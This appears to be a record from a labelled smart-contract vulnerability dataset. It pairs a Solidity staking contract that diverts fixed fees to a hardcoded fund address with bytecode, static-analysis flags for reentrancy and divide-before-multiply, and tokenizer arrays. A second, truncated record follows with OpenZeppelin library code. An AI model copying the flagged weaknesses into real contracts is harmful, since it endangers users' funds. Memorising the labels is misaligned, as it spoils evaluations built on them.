The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/CurveRewards.sol pragma solidity ^0.5.0; interface SOLARITE { function solaritesScalingFactor() external returns (uint256); } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public lend = IERC20(0x80fB784B7eD66730e8b1DBd9820aFD29931aab03); uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { uint256 realamount = amount.div(100).mul(99); _totalSupply = _totalSupply.add(realamount); _balances[msg.sender] = _balances[msg.sender].add(realamount); address fundpool = 0x289026a9018D5AA8CB05f228dd9460C1229aaf81; lend.safeTransferFrom(msg.sender, address(this), realamount); lend.safeTransferFrom(msg.sender, fundpool, amount.div(100)); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); lend.safeTransfer(msg.sender, amount); } } contract SOLARITELENDPool is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public solarite = IERC20(0x930eD81ad809603baf727117385D01f04354612E); // need replace uint256 public constant DURATION = 2592000; // 30 days uint256 public starttime = 1599775200; // 2020-09-10 22:00:00 (UTC UTC +00:00) uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier checkStart() { require(block.timestamp >= starttime,"not start"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; uint256 scalingFactor = SOLARITE(address(solarite)).solaritesScalingFactor(); uint256 trueReward = reward.mul(scalingFactor).div(10**18); address fundpool = 0x289026a9018D5AA8CB05f228dd9460C1229aaf81; solarite.safeTransfer(msg.sender, trueReward.div(100).mul(80)); emit RewardPaid(msg.sender, trueReward.div(100).mul(80)); solarite.safeTransfer(fundpool, trueReward.div(100).mul(20)); emit RewardPaid(fundpool, trueReward.div(100).mul(20)); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c806380faa57d116100de578063a694fc3a11610097578063df136d6511610071578063df136d651461035b578063e9fad8ee14610363578063ebe2b12b1461036b578063f2fde38b146103735761018d565b8063a694fc3a1461032e578063c8f33c911461034b578063cd3daf9d146103535761018d565b806380faa57d146102cc5780638b876347146102d45780638da58897146102fa5780638da5cb5b146103025780638f32d59b1461030a57806397dffc61146103265761018d565b80632e1a7d4d1161014b5780636ba475de116101255780636ba475de1461028e57806370a0823114610296578063715018a6146102bc5780637b0a47ee146102c45761018d565b80632e1a7d4d1461024c5780633c6b16ab146102695780633d18b912146102865761018d565b80628cc262146101925780630700037d146101ca5780630d68b761146101f0578063101114cf1461021857806318160ddd1461023c5780631be0528914610244575b600080fd5b6101b8600480360360208110156101a857600080fd5b50356001600160a01b0316610399565b60408051918252519081900360200190f35b6101b8600480360360208110156101e057600080fd5b50356001600160a01b031661041f565b6102166004803603602081101561020657600080fd5b50356001600160a01b0316610431565b005b6102206104ac565b604080516001600160a01b039092168252519081900360200190f35b6101b86104bb565b6101b86104c2565b6102166004803603602081101561026257600080fd5b50356104c9565b6102166004803603602081101561027f57600080fd5b50356105f3565b6102166107e4565b610220610a3b565b6101b8600480360360208110156102ac57600080fd5b50356001600160a01b0316610a4a565b610216610a65565b6101b8610b08565b6101b8610b0e565b6101b8600480360360208110156102ea57600080fd5b50356001600160a01b0316610b21565b6101b8610b33565b610220610b39565b610312610b48565b604080519115158252519081900360200190f35b610220610b6e565b6102166004803603602081101561034457600080fd5b5035610b7d565b6101b8610ca4565b6101b8610caa565b6101b8610cfe565b610216610d04565b6101b8610d1f565b6102166004803603602081101561038957600080fd5b50356001600160a01b0316610d25565b6001600160a01b0381166000908152600c6020908152604080832054600b909252822054610419919061040d90670de0b6b3a764000090610401906103ec906103e0610caa565b9063ffffffff610d8a16565b6103f588610a4a565b9063ffffffff610dd316565b9063ffffffff610e2c16565b9063ffffffff610e6e16565b92915050565b600c6020526000908152604090205481565b610439610b48565b61048a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b031681565b6001545b90565b62278d0081565b336104d2610caa565b600a556104dd610b0e565b6009556001600160a01b03811615610524576104f881610399565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b600654421015610567576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b600082116105b0576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b6105b982610ec8565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6004546001600160a01b0316610607610f29565b6001600160a01b03161461064c5760405162461bcd60e51b815260040180806020018281038252602181526020018061149a6021913960400191505060405180910390fd5b6000610656610caa565b600a55610661610b0e565b6009556001600160a01b038116156106a85761067c81610399565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b6006544211156107785760075442106106d6576106ce8262278d0063ffffffff610e2c16565b600855610724565b6007546000906106ec904263ffffffff610d8a16565b9050600061070560085483610dd390919063ffffffff16565b905061071e62278d00610401868463ffffffff610e6e16565b60085550505b42600981905561073d9062278d0063ffffffff610e6e16565b6007556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a16107e0565b61078b8262278d0063ffffffff610e2c16565b60085560065460098190556107a99062278d0063ffffffff610e6e16565b6007556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a15b5050565b336107ed610caa565b600a556107f8610b0e565b6009556001600160a01b0381161561083f5761081381610399565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b600654421015610882576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b600061088d33610399565b905080156107e057336000908152600c60209081526040808320839055600554815163762fb46d60e11b815291516001600160a01b039091169263ec5f68da926004808201939182900301818787803b1580156108e957600080fd5b505af11580156108fd573d6000803e3d6000fd5b505050506040513d602081101561091357600080fd5b505190506000610935670de0b6b3a7640000610401858563ffffffff610dd316565b905073289026a9018d5aa8cb05f228dd9460c1229aaf8161097f3361096660506103f586606463ffffffff610e2c16565b6005546001600160a01b0316919063ffffffff610f2d16565b337fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e04866109b760506103f586606463ffffffff610e2c16565b60408051918252519081900360200190a26109e28161096660146103f586606463ffffffff610e2c16565b6001600160a01b0381167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486610a2360146103f586606463ffffffff610e2c16565b60408051918252519081900360200190a25050505050565b6005546001600160a01b031681565b6001600160a01b031660009081526002602052604090205490565b610a6d610b48565b610abe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b60085481565b6000610b1c42600754610f84565b905090565b600b6020526000908152604090205481565b60065481565b6003546001600160a01b031690565b6003546000906001600160a01b0316610b5f610f29565b6001600160a01b031614905090565b6000546001600160a01b031681565b33610b86610caa565b600a55610b91610b0e565b6009556001600160a01b03811615610bd857610bac81610399565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b600654421015610c1b576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610c61576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b610c6a82610f9a565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b60095481565b6000610cb46104bb565b610cc15750600a546104bf565b610b1c610cef610ccf6104bb565b610401670de0b6b3a76400006103f56008546103f56009546103e0610b0e565b600a549063ffffffff610e6e16565b600a5481565b610d15610d1033610a4a565b6104c9565b610d1d6107e4565b565b60075481565b610d2d610b48565b610d7e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610d8781611061565b50565b6000610dcc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611102565b9392505050565b600082610de257506000610419565b82820282848281610def57fe5b0414610dcc5760405162461bcd60e51b81526004018080602001828103825260218152602001806114796021913960400191505060405180910390fd5b6000610dcc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611199565b600082820183811015610dcc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600154610edb908263ffffffff610d8a16565b60015533600090815260026020526040902054610efe908263ffffffff610d8a16565b336000818152600260205260408120929092559054610d87916001600160a01b039091169083610f2d565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610f7f9084906111fe565b505050565b6000818310610f935781610dcc565b5090919050565b6000610fb260636103f584606463ffffffff610e2c16565b600154909150610fc8908263ffffffff610e6e16565b60015533600090815260026020526040902054610feb908263ffffffff610e6e16565b33600081815260026020526040812092909255905473289026a9018d5aa8cb05f228dd9460c1229aaf8191611031916001600160a01b031690308563ffffffff6113bc16565b610f7f338261104786606463ffffffff610e2c16565b6000546001600160a01b031692919063ffffffff6113bc16565b6001600160a01b0381166110a65760405162461bcd60e51b81526004018080602001828103825260268152602001806114536026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156111915760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561115657818101518382015260200161113e565b50505050905090810190601f1680156111835780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836111e85760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561115657818101518382015260200161113e565b5060008385816111f457fe5b0495945050505050565b611210826001600160a01b0316611416565b611261576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061129f5780518252601f199092019160209182019101611280565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611301576040519150601f19603f3d011682016040523d82523d6000602084013e611306565b606091505b50915091508161135d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156113b65780806020019051602081101561137957600080fd5b50516113b65760405162461bcd60e51b815260040180806020018281038252602a8152602001806114bb602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526113b69085906111fe565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061144a5750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820bf7d96b7d4f08c1aa65081c92ed5fa7164ef743e9699b40e8542f59d3673490964736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14526, 2692, 10322, 2546, 2629, 2063, 23833, 10354, 2050, 21057, 2094, 2629, 2050, 26976, 17465, 2692, 2546, 2692, 2509, 8270, 16703, 27009, 28756, 2497, 2475, 2063, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1035, 1035, 1013, 1013, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1035, 1032, 1013, 1035, 1035, 1013, 1013, 1035, 1032, 1013, 1011, 1035, 1007, 1013, 1035, 1035, 1013, 1013, 1013, 1032, 1032, 1013, 1013, 1035, 1035, 1035, 1013, 1032, 1035, 1010, 1013, 1013, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,611
0x971157e703a5210a393a1a3d3497fd9b3c725bf0
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. 